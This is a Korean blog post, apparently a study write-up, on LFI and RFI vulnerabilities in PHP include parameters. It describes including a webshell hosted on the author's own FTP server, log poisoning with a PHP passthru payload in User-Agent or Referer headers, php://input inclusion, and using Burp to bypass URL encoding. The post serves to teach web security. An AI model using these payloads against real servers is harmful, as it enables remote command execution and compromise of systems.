0. 공격 기법
- 공통점 : GET,POST 등으로 값을 전달받을 때 파라미터에 대한 검증이 없을 경우에 허용되는 공격이다.
- LFI (Local File Inclusion) : Include를 통해 서버 내부의 파일을 가져올 때 폴더 변경 명령(../ 등)을 통해 다른 파일을 불러올 수 있는 취약점 -> 내부의 파일을 열람하여 정보를 획득하거나, 내부에 파일을 생성시켜 악용 가능
- RFI (Remote File Inclusion) : Include를 통해 서버 외부의 파일을 가져와서 실행시키는 취약점 -> http 또는 ftp 프로토콜을 통한 외부 사이트의 소스를 실행할 수 있는 기능을 이용하여 임의의 명령 실행이나 악의적인 스크립트를 실행 가능
- 만약 파라미터 입력 부분에 ../를 넣었는데 해당 파일을 include할 수 없다고 뜬다면 LFI 또는 RFI 취약점이 존재한다고 볼 수 있다.
1. 공격 순서
- 파일을 불러오는 부분이 GET 방식이며 파라미터가 URL에 공개되었다. 이 때 ../를 넣어보니 Include 할 수 없다는 오류가 떴다! => LFI 혹은 RFI 취약점 존재
- LFI일까 궁금해서 명령어를 path 부분에 쳐봤지만 access.log에 갔을 때 인코딩되어 저장되는 것으로 보아 불가능하다고 생각하였다.
- RFI를 진행하기 위해 개인서버 내에 webshell 파일을 올려둔 뒤 http://내서버IP/webshell을 진행하였지만 http가 들어가면 RFI 공격은 안된다며 차단을 하였다.
- Http가 안되면 FTP로 진행! 개인 FTP 서버에 webshell을 올린 뒤 FTP://내FTP서버/webshell을 넣고 접속을 하였더니 성공!!
2. 더 나아가
- Header의 User-Agent 부분에 "<?php passthru('command'); ?>" 라는 PHP 코드를 넣고 submit 시킨다. -> error.log 혹은 access.log 파일에서 User-Agent를 저장한다면 해당 부분에 PHP 코드를 삽입할 것이고 php 파일에서 include했을 때 php서버는 해당 php 코드를 실행시켜주기 때문에 공격에 성공한다.
(User-Agent 뿐만 아니라 Referer에서도 가능하다)
- Remote Include Injection을 사용하기 위해서는 Apache 설정 중 allow_url_fopen이 on으로 설정되어 있어야 한다. 그래야지 PHP에서 inlucde를 이용하여 어떤 파일을 Include할 때 http, ftp 등 외부의 파일을 URL 방식으로 include할 수 있기 때문이다.
* LFI 공격 기법 -> php://input 이용
= http://www.test.com/index.php?page=php://input 처럼 include하는 부분에 php://input을 넣어주고 POST DATA에 php 코드를 넣어주면 실행이 되어 출력 페이지에 php 코드 실행 결과가 출력된다.
- URL상에서 명령어를 치면 클라이언트 단에서 인코딩을 해서 서버로 전송시킨다. 서버는 이 인코딩 된 것을 로그에 저장시키는 것이다. 하지만 클라이언트 단에서 인코딩을 하는 것이므로 서버로 전송하기 전에 burp에서 잡는다면?? 인코딩 된 부분이 보일 것이고 이 부분을 다시 디코딩하여 전송을 한다면 서버에서도 평문 그대로 저장을 하게 된다. => 풀었던 문제에서도 LFI는 가능했던 것!! (아예 URL에서 명령어를 치지 않고 path= 상태로 패킷을 날린 뒤 burp에서 잡아 path 뒤에 명령어를 삽입해주어도 된다)
'Hacking > Web' 카테고리의 다른 글
SQL Injection 관련 (0) | 2017.06.29 |
---|---|
XST에 대해 알아보자 (1) | 2017.05.09 |
Command_injection (0) | 2017.03.08 |
A9-알려진 취약점이 있는 컴포넌트 사용 (0) | 2017.02.25 |
A7 - 기능 수준의 접근 통제 누락 (0) | 2017.02.18 |